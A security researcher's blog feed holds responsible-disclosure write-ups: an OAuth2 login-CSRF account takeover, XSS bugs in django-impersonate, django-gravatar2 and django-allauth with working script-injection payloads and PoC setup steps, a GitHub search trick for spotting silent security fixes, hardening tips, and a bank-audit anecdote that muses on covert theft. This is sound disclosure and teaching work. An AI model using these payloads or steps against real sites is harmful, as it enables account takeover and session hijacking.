Santos Gallegos (Posts about security)

Finding security-related commits on GitHub

Santos Gallegos — Thu, 13 Nov 2025 05:00:00 GMT

Did you know you can easily search for commits that fix security issues on GitHub? Just search for commits with "Merge commit from fork" or "Merge pull request from GHSA".

Why this works? When there is a security issue, some projects use GitHub Advisories to manage them. GitHub allows you to create private pull requests to fix the issue in private. However, when the pull request is merged, GitHub strips the original commit message and replaces it with "Merge commit from fork", this can't be changed when using the GitHub UI. In the past, it used to include a link to the advisory, so you can also search for "Merge pull request from GHSA", which is less generic.

How can this be useful?

If you're a nerd like me who enjoys reading code and learning about security issues, you can find interesting commits to read. Some big projects appear in the results ;)
If you're a government-backed hacker looking for 0-days, you can monitor commits with these messages to find security issues that are not yet disclosed. Please don't...

Try it:

Search for Merge commit from fork
Search for Merge pull request from GHSA

Note: Did you find a commit from me? Don't worry, those are already fixed and disclosed issues ;)

If you are paranoid about people monitoring your project for commits like this, you can merge the private pull request via the command line to preserve your original commit message. Hopefully GitHub will allow customizing the commit message in the future from the UI. This is the workflow I use when handling fixes from a security advisory:

Create a private fork from the advisory.
Set the fork as a remote: git remote add security-{advisory-id} <advisory-fork-url>.
Create a new branch: git checkout -b fix-security-issue-{advisory-id}.
Push the branch to the advisory fork: git push -u security-{advisory-id}.
Create a pull request in the advisory fork.
When the fix is ready to be merged, do it via the command line: git checkout main && git merge security-{advisory-id} && git push origin main.

That's all, hope you found this useful!

Exploiting a bad implementation of OAuth2

Santos Gallegos — Thu, 20 Feb 2025 05:00:00 GMT

In this post I'm going to share how I exploited a bad implementation of OAuth2 to take over user accounts with a single click.

OAuth2

Whenever you see a log in button that says "Log in with Google" or "Log in with Facebook", that's OAuth2 in action. A common OAuth2 flow looks like this:

User goes to https://example.com and clicks "Log in with Google".
The user is redirected to Google's login/authorization page (https://accounts.google.com/o/oauth2/auth?client_id=1234&scope=email&state=4321).
The user logs in and authorizes the application.
Google redirects the user back to the application (callback URL) with an authorization code and state parameter (https://example.com/login/callback?code=5678&state=4321).
The application exchanges the authorization code for an access token (usually done server-side).
The application uses the access token to access the user's resources (profile, email, etc).

The state parameter

When the user is redirected to the OAuth2 provider (e.g., Google), the application can include a state parameter in the URL (as you can see in step 2 above), which is then returned by the OAuth2 provider in the callback URL (as you can see in step 4 above).

What's the point of returning the same value in the callback URL? you might ask. The state parameter is used to prevent CSRF attacks, in other words, it ensures that the user who initiated the OAuth2 flow is the same user who completed it, preventing an attacker from tricking a user into logging in with a different account (login CSRF).

In order to do that, the application must verify that the state parameter in the callback URL matches the one it sent. The state should be unique for each OAuth2 flow, hard to guess, and bound to the user that initiated the flow, as the OAuth2 RFC states.

The vulnerability

The site was generating a random state value for each OAuth2 flow, and correctly verifying it later in the callback URL. But there was a small problem, the state wasn't bound to the user that initiated the flow.

The OAuth2 flow looked like this:

User starts the OAuth2 flow.
The application generates a random value and stores it in the database.
The application redirects the user to the OAuth2 provider with the state parameter.
The OAuth2 provider redirects the user back to the application with the state parameter.
The application retrieves the state parameter from the URL and checks that the value exists in the database but doesn't check which user it belongs to.

This allows for an attacker to start an OAuth2 flow and then trick the victim into completing it, leading to a login CSRF attack.

From login CSRF to account takeover

The bad implementation of the state parameter allows for a login CSRF attack, but depending on the application, this type of attack might not be very impactful. But the application had the following behavior:

If the user isn't logged in and starts the OAuth process with a new provider, a new account is created and linked to that provider.
If the user is logged in and starts the OAuth process with a new provider, that provider is linked to the existing account. Allowing the user to log in with any of the linked providers.
If the user, logged in or not, starts the OAuth process with a provider already linked to another account, the application logs the user out, and logs him into the account linked to that provider.

If an attacker tricks the victim into completing the OAuth2 flow from another provider while logged in, the attacker can link the victim's account to its own.

Exploitation

Let's say the application allows users to log in with Google and Facebook, and the victim is logged in with Facebook. The attacker starts the OAuth2 flow with Google but doesn't complete it; instead, it intercepts the response. The attack would look like this:

The attacker goes to https://example.com and clicks "Log in with Google".
The attacker is redirected to Google's login/authorization page with a state parameter generated by the application (e.g., https://accounts.google.com/o/oauth2/auth?client_id=1234&scope=email&state=c3VwZXItc2VjcmV0).
The attacker logs in and authorizes the application.
Google redirects the attacker back to the application with an authorization code. But the attacker intercepts the response and doesn't let the browser follow the redirect. The intercepted redirect would look like this: https://example.com/login/callback?code=12345&state=c3VwZXItc2VjcmV0.
Since the redirect wasn't followed, the application didn't create a new account linked to Google, but it kept track of the generated state in the database, waiting to be validated.
While logged in with his Facebook account, the victim follows the attacker's link.
The application retrieves the state parameter from the URL and checks that the value exists in the database.
Then it uses the code from the URL to exchange it for an access token of the attacker's Google account.
Since the Google account doesn't exist in the application and the victim is already logged in, the application will link the victim's account to the attacker's Google account.
The attacker can now log in with his Google account and gain access to the victim's account.

Mitigation

To prevent this, the application should bind the state parameter to the user who initiated the OAuth2 flow. This can be done by storing the state parameter in the user's session instead of a separate database. This way, the intercepted state from one user wouldn't be valid for another user.

Timeline

12/02/2024: Reported the vulnerability to the company.
13/02/2024: The company acknowledged the report.
28/02/2024: The company asked for clarification on how the vulnerability could be exploited.
01/03/2024: The company confirmed the vulnerability and awarded a bounty of $1000.
13/03/2024: The vulnerability was fixed.

XSS in django-impersonate 1.9.3 and django-gravatar2 1.4.4

Santos Gallegos — Sat, 08 Feb 2025 05:00:00 GMT

This post details two cross-site scripting (XSS) vulnerabilities I discovered in django-impersonate, and django-gravatar2. I'm writing about them together because they share the same vulnerability, and are similar in other aspects that I'll explain below.

Background

At Read the Docs, we use both packages. While waiting for my PRs to be reviewed, and taking a break from coding, I decided to do a quick security audit of some of our dependencies, since both packages have a relatively small codebase, they were good candidates for a quick review.

django-impersonate

django-impersonate allows you to impersonate other users, really useful for debugging and support.

The vulnerability

After grepping the codebase for common vulnerable patterns, I found this line of code that caught my attention:

def get_redir_field(request):
    redirect_field_name = settings.REDIRECT_FIELD_NAME
    if redirect_field_name:
        nextval = request.GET.get(redirect_field_name, None)
        if nextval:
            return mark_safe(
               u'<input type="hidden" name="{0}" value="{1}"/>'.format(
                  redirect_field_name, nextval,
               )
            )
    return u''

You can see that the application is building an HTML input field with the value of a query parameter (if the IMPERSONATE["REDIRECT_FIELD_NAME"] setting is defined), and marking it as safe with mark_safe (Django won't escape it when including it in a template). The problem arises as the query parameter is controlled by the user, and isn't escaped before being included in the string.

Exploitation

Searching for the usage of the get_redir_field function, I found it was used in two views related to listing users:

But only the template rendered from the search_users view includes the result of the function.

# impersonate/views.py (search_users)
return render(
    request,
    template,
    {
        'users': users,
        'paginator': paginator,
        'page': page,
        'page_number': page_number,
        'query': query,
        'redirect': get_redir_arg(request),
        'redirect_field': get_redir_field(request),
    },
)

<!-- impersonate/templates/impersonate/search_users.html -->
<form action="{% url 'impersonate-search' %}" method="GET">
   Enter Search Query:<br />
   <input type="text" name="q" value="{% if query %}{{ query }}{% endif %}"><br />
   {{redirect_field}}
   <input type="submit" value="Search"><br />
</form>

Assuming the application defined the IMPERSONATE["REDIRECT_FIELD_NAME"] setting as next, the URL used to exploit the vulnerability would be /impersonate/search/?next={payload}. Where {payload} can be:

"/><script>alert(document.domain)</script><input type="hidden

What this does is:

Uses a "/> to close the input tag.
Injects a script that shows an alert with the current domain.
Opens a new tag so the rest of the HTML is not shown as broken.

The payload injected into the template would look like this:

<input type="hidden" name="next" value="">
<script>alert(document.domain)</script>
<input type="hidden"/>

Proof of concept

I created a proof of concept to demonstrate the vulnerability, so you can see it in action, you just need to have Python and uv installed:

It consists of a simple Django project with django-impersonate==1.9.3 installed, with the IMPERSONATE["REDIRECT_FIELD_NAME"] setting defined as next.

$ git clone https://github.com/stsewd/poc-xss-django-impersonate
$ cd poc-xss-django-impersonate
$ uv run manage.py migrate
# Create a user to log into the application.
$ uv run manage.py createsuperuser
$ uv run manage.py runserver

Go to http://127.0.0.1:8000/admin/login/
Log in with the user you created
Go to http://127.0.0.1:8000/impersonate/search/?next=?next="><script>alert(document.domain)</script><input type="hidden
A pop-up with the domain of the page should appear

Showing an alert is just a simple example, but an attacker can execute any JavaScript code in the context of the user's session.

Mitigation

You should never use mark_safe with user-controlled content, if you need to build HTML with user-controlled data outside of a template, you can use the format_html function, as you can see in the two commits that fixed the vulnerability: 06991a735f29, 33cb8c77262a.

Timeline

11/06/2024: Found and reported the vulnerability to the maintainer.
13/06/2024: Maintainer replied and confirmed the vulnerability.
14/06/2024: Maintainer released version 1.9.4 with the fix.

django-gravatar2

django-gravatar2 allows you to integrate Gravatar in your project, so you can show the user's avatar based on their email.

The vulnerability

After grepping the codebase for common vulnerable patterns, I found this code that caught my attention:

You can see that the application is building an HTML img tag with several attributes, like CSS class, alt text, size, and the URL of the Gravatar image, and marking it as safe with mark_safe (Django won't escape it when including it in a template). Of all these attributes, only the URL is being escaped, all other values are used as is.

I found that the function is used as a template tag to render the Gravatar image:

For example, you can use it in a template like this:

{% load gravatar from gravatar %}

{% gravatar user 50 "User profile" %}

In this example, the size and the alt text are hardcoded, so there is no way for an attacker to inject arbitrary HTML. But what happens if the size or alt text come from the user? Then we have a problem, as the values are not escaped before being included in the template.

{% load gravatar from gravatar %}

{% gravatar user 50 user.name %}

Exploitation

Since the vulnerability is in a template tag, exploiting the vulnerability will depend if the application uses the template tag with user-controlled content. We can assume that a common alt text is the user's name.

{% load gravatar from gravatar %}

{% gravatar user 50 user.first_name %}

Then the attacker can inject the payload in the user's name. A simple payload could be:

"/><script>alert(document.domain)</script><img src="

What this does is:

Uses a "/> to close the img tag.
Injects a script that shows an alert with the current domain.
Opens a new tag so the rest of the HTML is not shown as broken.

The payload injected into the template would look like this:

<img class="gravatar" src="https://www.gravatar.com/" width="50" height="50" alt=""/>
<script>alert(document.domain)</script>
<img src="" />

But that's very similar to the previous example, so let's assume that the application uses the user's email as the alt text instead.

{% load gravatar from gravatar %}

{% gravatar user 50 user.email %}

You may think that's the same as the previous example, but now the payload needs to be a valid email. And if you try to create an email with the previous payload, it won't work, as the Django user model will validate the email format.

Making the payload a valid email is not as simple as just adding @example.com at the end, as the part before the @ (local part) can't contain special characters like "<>(), which are part of the payload.

Luckily, the spec says that the local part can contain any ASCII characters if it's quoted, and coincidentally, our payload has already quotes around it, so it's just a matter adding @example.com at the end! Or almost... Django's email validator does allow the local part to be quoted, but it doesn't allow spaces, luckily HTML is very forgiving, so we can add almost anything instead of the spaces, and our payload will still work

"/><script>alert(document.domain)</script><img/src="@example.com

You could also leave the tag unclosed, but that will break the rest of the HTML in the template.

"/><script>alert(document.domain)</script>"@example.com

Proof of concept

I created a proof of concept to demonstrate the vulnerability, so you can see it in action, you just need to have Python and uv installed:

It consists of a simple Django project with django-gravatar2==1.4.4 installed, it shows the Gravatar of a user given its email.

$ git clone https://github.com/stsewd/poc-xss-django-gravatar2
$ cd poc-xss-django-gravatar2
$ uv run manage.py migrate
$ uv run manage.py runserver

Go to http://127.0.0.1:8000/
In the form enter "/><script>alert(document.domain)</script><img src=" as the name, or "/><script>alert(document.domain)</script><img/src="@example.com as the email.
Click on the "Submit" button.
A pop-up with the domain of the page should appear.

Showing an alert is just a simple example, but an attacker can execute any JavaScript code in the context of the user's session.

Mitigation

As the previous vulnerability, you should never use mark_safe with user-controlled content, if you need to build HTML with user-controlled data outside of a template, you can use the format_html function.

Timeline

21/06/2024: Found and reported the vulnerability to the maintainer.
21/06/2024: Maintainer replied and confirmed the vulnerability.
29/08/2024: Maintainer released version 1.4.5 with the fix.

More in common than you think

Apart from sharing the same vulnerability, there are other similarities between the two packages:

Widely used packages. At the time of writing, django-impersonate had 220K downloads in the last month, and django-gravatar2 had 32K downloads in the last month.
Mostly maintained by a single person.
Not actively maintained.

While the functionality that both packages provide is very specific, they may be considered complete and stable without the need for active development. But as with any software, there is always room for improvement, or updates to keep up with the latest versions of Python and Django.

If you or your company use these packages, please consider contributing to them in any way you can. Another thing these packages have in common is that they are looking for maintainers, so if you have the time and knowledge, consider helping them.

Acknowledgements

Thanks to Peter Sanchez (maintainer of django-impersonate), and Tristan Waddington (maintainer of django-gravatar2) for their quick responses and fixes.
It's also great I have the support at Read the Docs to spend part of my work time on security audits on packages we use. Even if the vulnerabilities don't affect our systems directly, it's nice to have the chance to give back to the community.

XSS in django-allauth 0.63.5

Santos Gallegos — Sun, 19 Jan 2025 05:00:00 GMT

This post details a Cross-Site Scripting (XSS) vulnerability I discovered in django-allauth, a popular Django package for authentication. This vulnerability affected the Facebook provider only, and it was fixed in version 0.63.6 on July 12, 2024.

Background

Before I found this vulnerability, I already reported another one to django-allauth, a login CSRF vulnerability in its SAML provider, which was fixed in version 0.63.3 (maybe I'll write a post about it if people are interested in more posts like this).

At Read the Docs, we use django-allauth for user authentication. I was in charge of integrating SAML into our authentication system, while working on that I noticed the CSRF vulnerability. After reporting it and seeing how quick it was fixed, I decided to do a quick security audit of the project.

The vulnerability

After grepping the codebase for common vulnerable patterns, I found this line of code that caught my attention:

django-allauth allows using Facebook as a provider for social authentication, and allows using the regular form (oauth2 method) or the Facebook JavaScript SDK (js_sdk method) to login. When using the js_sdk method, the fb_data variable is passed to the template to be used in the frontend.

Which is then used in the fbconnect.js script to initialize the Facebook SDK.

So, what's the problem here? The fb_data variable is marked as safe (Django won't escape it when including it in a template) after being transformed into a JSON string. Since json.dumps doesn't escape HTML characters, it's possible to inject arbitrary HTML and JavaScript code into the template.

Exploitation

Using mark_safe by itself is not a vulnerability, as long as the content is trusted and doesn't contain user input. So the next step was to find a way to inject user-controlled content into the fb_data variable.

As shown below, most of the content in the fb_data variable is static:

Except for loginOptions, which includes the value from the scope query parameter:

With that, we now can inject arbitrary HTML and JavaScript using the scope query parameter.

But wait... In which page can we control the scope query parameter? By following the code, I found that media_js is used in the providers_media_js template tag, which is called in the login_extra.html snippet, and furthermore that snippet is included anywhere the social providers are listed, like the login page (/accounts/login/), and the social account connections page (/accounts/3rdparty/).

Payload

To exploit this vulnerability, an attacker could inject the following content in the scope query parameter:

</script><script>alert(document.domain)</script><script>

What this does is:

Closes the script tag containing the fb_data variable.
Injects a script that shows an alert with the current domain.
Opens a new script tag, so the rest of the JSON content is not shown as plain text.

Proof of concept

I created a proof of concept to demonstrate the vulnerability, so you can see it in action, you just need to have Python and uv installed:

It consists of a simple Django project with django-allauth==0.63.5 installed, and a Facebook provider configured using the JavaScript SDK.

$ git clone https://github.com/stsewd/poc-xss-django-allauth
$ cd poc-xss-django-allauth
$ uv run manage.py migrate
# Create a user to log into the application.
$ uv run manage.py createsuperuser
$ uv run manage.py runserver

XSS in login page:

While logged out, go to http://127.0.0.1:8000/accounts/login/?scope=</script><script>alert(document.domain)</script><script>.

XSS in social connections page:

Go to http://127.0.0.1:8000/accounts/login/.
Log in with the user you created.
Go to http://127.0.0.1:8000/accounts/3rdparty/?scope=</script><script>alert(document.domain)</script><script>.

Showing an alert is just a simple example, but an attacker can execute any JavaScript code in the context of the user's session.

Mitigation

You should never mark user-controlled content as safe, but if you find yourself wanting to include JSON content in a template, escaping will break the JSON format.

Luckily, Django has a built-in template filter to include JSON content in a template safely, json_script. Sadly, that filter wasn't available at the moment the allauth code was written, but it's been available since Django 2.1, since allauth supports newer versions of Django, it was possible to use it, as you can see in the fix.

Timeline

11/07/2024: Found and reported the vulnerability to django-allauth.
12/07/2024: Maintainer confirmed the vulnerability and released version 0.63.6 with the fix.

Acknowledgements

I'm always surprised by how quickly open source maintainers fix security vulnerabilities (so much faster than commercial software vendors), kudos to Raymond Penners, maintainer of django-allauth.
It's also great I have the support at Read the Docs to spend part of my work time on security audits on packages we use. Even if the vulnerabilities don't affect our systems directly (we don't use the Facebook provider), it's nice to have the chance to give back to the community.

Are you still using django-allauth <0.63.6? The fix was released more than 6 months ago, please update your dependencies! Thank you for reading, and let me know if you'd like to see more posts like this!

Securing your development environment

Santos Gallegos — Sat, 24 Jul 2021 05:00:00 GMT

If you are a developer, chances are that you handle private code or production secrets. If someone has access to those, you may be in serious problems with your bosses and clients. I'll share with you some tips on how to secure your development environment from your computer to your terminal.

Passwords

Using an strong password is good, but using the same password for each login isn't good, if one system is compromised, all your accounts could be compromised. The best password is the one that not even you know, a password manager can help you to generate strong and unique passwords for each login.

Using a password manager requires you to have one master password, this one you do need to remember, so make sure to choose a strong one, and rotate that password every year or so.

I recommend Bitwarden as password manager, it's Open Source. The free version gives you a lot of features that usually require a premium account in other services, and even the premium version is cheap.

Multi factor authentication

But even using a password manager isn't enough to protect your accounts, the generated password could be exposed without you knowing it, or your master password could be compromised. Multi factor authentication (MFA) to the rescue!

MFA is about using two or more pieces of evidence (factors) on authentication to be able to access a website or application [1]. Factors are: something you know (like a password), something you have (like a phone), and something you are (like your fingerprints). A common way of MFA is combining a password (something you know) with something you have, like:

SMS

This is using your phone number to receive a code via SMS to be able to authenticate. Please don't use this method, it's easy for an attacker to hijack your phone number [2], and if you are traveling, you won't be able to receive the codes.

App

This is using an application in your phone that generates an OTP [3] valid for 30 seconds for each login. Using an app is an excellent way of MFA, and you don't need Internet connection on your phone to be able to access the tokens.

An app that I recommend is andOTP, it's Open Source, and has several features like using a PIN to unlock the codes, and making encrypted offline backups.

When choosing an app, don't use those that sync your codes to the cloud, that kind of breaks the rule about something you (and only you) have.

Hardware keys

They are similar to an app, they can provide an OTP, but the good thing is that they aren't attached to your phone. Popular hardware keys are YubiKeys. If you decide to get one, buy two!, the second key will act as your backup in case you lose or damage the other one.

Not all services support MFA, but make sure to take some minutes to set it for those that do. Most services will give you recovery codes in case you lose access to your MFA device, save them offline and in a secure location!

Full disk encryption

If someone steals your computer, they can access all your files without having to know your user's password. To prevent this, make use of full disk encryption on your computer.

On Linux systems, this is usually an option on installation You could even make use of your YubiKey to protect your disk (your password + an static password from your YubiKey).

Securing your code

Even if you use full disk encryption, if someone steals your computer while you are logged in, they will have access to all your files and active sessions. Sure, you can revoke your active sessions, but doing so could take some time, and isn't possible to revoke access to your files.

In addition to full disk encryption you can encrypt individual directories, and set a lifetime. This way your files will be secure even if someone has access to your un-locked computer. A simple tool to archive this is encFS (check for the -i option).

Is common to use SSH authentication with your version control system (VCS) provider to avoid entering your password every time, but this leaves the door open for anyone with access to your computer. Protect your private key with a passphrase, and set a lifetime to your SSH agent (-t option, see man ssh-agent), this way you'll need to re-enter your passphrase every t minutes/hours.

Signing your commits

Using a VCS like Git for your code is great (you do have your code under a VCS, right?), it allows you to keep track of your changes, revert changes, and more! It is also useful to know who changed a particular piece of code and when, which is great when doing audits over your code base.

But in fact, anyone can say to be you when committing changes, Git for example makes use of a configuration file to set your name and email, you don't need to provide anything else to say that you are that person!

This means that any of your coworkers could impersonate you, or an attacker with access to your VCS provider could do so as well. You don't want to be responsible for changes that you didn't make!

Luckily, Git allows you to sign your commits with a GPG key. Someone could still use your email for their commits, but they won't be able to sign those commits with your private GPG key. GitLab has a great guide on how to sign your commits with GPG https://docs.gitlab.com/ee/user/project/repository/gpg_signed_commits/.

Commit signed (verified) on GitHub

Securing your terminal

The terminal is a great friend, and navigating the history with ↑ ↓ save you some typing, but that history can also contain sensitive information.

The default number of history entries is usually high, as a quick experiment, you can check how many entries you have with:

cat $HISTFILE | wc -l

And how many of those entries possibly have secrets with:

grep -E -i '(token)|(pass)|(secret)' $HISTFILE

Depending on the Shell you are using, you can control the max number of entries with environment variables, for zsh this is done with:

export SAVEHIST=1000
export HISTSIZE=$SAVEHIST

Choose the number of entries at your discretion, not big enough that will keep things for a long period of time, and not so small to not save you some typing.

Some times you need to enter secrets in your terminal, but you don't want to save them in your history. You can avoid adding your commands to the history by prefixing them with a space.

Another way to enter into incognito mode is by un-setting the $HISTFILE environment variable (thanks @WhiteHatTux for this tip!).

unset HISTFILE

Securing your files and environment variables

If you have files with sensitive information that you can't encrypt because it needs to be readable (like configuration files), at least give access only the appropriate users/processes.

To remove access from all users except yours, you can use:

chmod og-rwx {file}

For extra protection, check the SELinux project.

If you need to expose some environment variables with secrets to your commands. You can use direnv with an encrypted directory. This way the environment variables will be set only when you are on that directory.

Securing your browser

If you are using a network that you don't have control over, use a VPN to connect to the Internet. ProtonVPN is a good free option.
Take some time hardening your browser settings, for Firefox for example, I use these.
Use extra extensions to secure your browser: like disabling cookies and JS for unknown sites.
Use a separate profile for work.

Email

Don't load external content by default, an attacker can use this for something harmless like tracking you, to something more sophisticated like exploiting a CSRF vulnerable site. This is usually an option in your email client, Protonmail has this option enabled by default.

Option to disable loading external images on Gmail.

Use a secure channel for communication

Sometimes you'll need to share passwords or private information with other coworkers. Use a secure channel with end to end encryption to do so (and delete the messages after you are done), or use a password manager for your team, or encrypt the secrets with their public GPG key.

Extra paranoia

Avoid wireless devices when possible.
Search for security related settings on every application you use.
Be careful with the personal information you share with others.
Use two phone numbers and two computers.
Shred any document before throwing it to the trash.

Conclusions

Everything is about encryption and lifetimes.

In perfect conditions, you should have a dedicated computer for work, and connect to the Internet using a secure network, but this isn't always possible or provided by your employer. Still, it's always good to have several layers of protection when handling sensitive information.

Did you already knew some of these tips? Or do you have more to share? Let me know in the comments!

A tale about security in web applications, or how I helped to save a bank from bankruptcy

Santos Gallegos — Fri, 18 Jun 2021 05:00:00 GMT

Hi friend, today I'm going to tell you a little story. Some things may look familiar, or even you could feel related to some situations. I assure you, it's mere coincidence.

A new experience

This tale takes place in Ecuador. It was during the lockdown that some friends contacted me to help them with a security audit. They were forming a team (with special abilities?), and there was missing someone with programming/web skills.

I was a little nervous to say yes, since I haven't had much experience with security in the field. But it was comforting to know that my teammates had vast experience in it. I was excited to learn new things from them, and how the world of security, auditing, and banking works. Oh, and I would get one of those fancy permits (salvoconducto) to go outside during lockdown.

Wait, "banking"?
Oh, sorry I didn't tell you, the security audit was for a small bank.

First flight

And the day arrived. We started with their homepage, and some small web applications. It didn't take me much time to start finding small security bugs. And then not so small, but not that critical either, mostly things returning too much data or returning data when they shouldn't. And it was from some old applications, so there wasn't much surprise in there, and the data exposed wasn't from all their clients.

After reporting some of those bugs that seemed important to get fixed soon we moved on to our next target: the online banking application.

We started with a black box test (no user). It wasn't long since we started to find minor security bugs. And we found some indications that the API may not be doing an appropriate check for authorization, but without a user, it wasn't easy to guess (yet!).

What indications?
Well, most of their APIs required a user ID to be present in the request. So, instead of relying on some session cookie or authorization token previously validated by the server, they were asking the client to explicitly pass the user's ID.
Oh, I see, that smells bad.

Access granted

After we got tired of guessing what some APIs would do and their parameters, we created a new user and started our gray box testing. The first thing we did was to check those precious API requests, the parameters being sent, cookies, etc. And then, the test we all were waiting for. Changing the user from the request to another one... Bingo! We got access. I mean, damn, we got access???

After that shocking reveal, we kept digging for more endpoints to test. The obvious one was to try to transfer money from/to other accounts, but there was a little problem. An OTP was required for each transaction. So we first made a real transaction to check how the API works... We realized that the OTP wasn't needed at all! It was being validated from the client side! So, yes, we were able to transfer money to any account and from any account. The user IDs were all incremental, which means that you could easily steal money from everyone in the bank.

Damn! THAT IS SHOCKING! Someone could have easily emptied the accounts of everyone! But it would have been very obvious if it has happened.
Or just steal 50 cents from everyone in the bank each month. Do you really know exactly how much money do you have in your bank account? Would you even care if only 50 cents were missing?
That's a low and long game to play, but still easy to track.
Or you could just buy things, and pay with a wire transfer. That way the money goes to several people instead of just one. There are more ways you could exploit this without anyone noticing it, for sure.

Interlude - about boxes

So, you did a black and gray box tests, is there a white one? and what those colors mean?
The color thing is about how much information and access you have to the application. In a black box test, you don't know anything about the system internals. In a gray box test, you have some knowledge of the application, like the architecture, technologies being used and intern access to the application (like a user!). And finally the white one, you have access to the source code. But we didn't do that one.

Consequences

At this point more than shocked, I was scare and disappointed. Scare of knowing this vulnerability existed and was easy to exploit. The money from all the people was in danger, maybe even their lives! And disappointed to know that this application has been sold to this bank (and others!) for a lot of money, and the company behind it has been doing so for more than 15 years. And also, that all these banks have been for many security audits, and NO ONE found any of the things we reported.

What do you mean with their lives were in danger?
You could disagree with me on this one, personally I think that a bank is a SCS, Nothing good can happen if something goes wrong with people's money, or all their savings.
No one found that after several audits? WOW! Why do you think they missed them? And how the developers missed that!?
Sadly. Laziness, inexperience and negligence. Here people don't like to go very technical, but instead go with degrees and certifications ($$$). And when doing the audit, they only run automated tools without doing any manual checking, or trust that the apps are secure, or everyone in the team knows only about networking. And from the developers side, what can I say? Most developers here don't know what a unit test is, or are afraid to say "I'm not qualified to build this, we need someone else".

Not surprised

I can't say this was that shocking, I mean, I have seen things like this on several apps in my country before, but seeing this happening in a bank... that's another thing.

So, what happened after you reported this?
Well, the company behind the application negated that the bug existed, but we provided enough proofs in our report that invalidated all those claims. And they even charged the bank for fixing those vulnerabilities.
WTF? That's unethical.
Yeah, but sadly I learned that's how the banking/enterprise world works.

We found more shocking things, but I may tell you that in another occasion.

The end

If you are a developer, please always make sure to write tests for you code, especially if you are dealing with sensitive data. If you feel you may not have enough experience to work on something, don't be afraid to say so, and ask for help.

If you are doing a security audit, please bring a diverse team, or be clear with the client about what things you may not be dealing with.

If you are looking to do a security audit at your company, I may know a great team with experts in different areas that you could hire.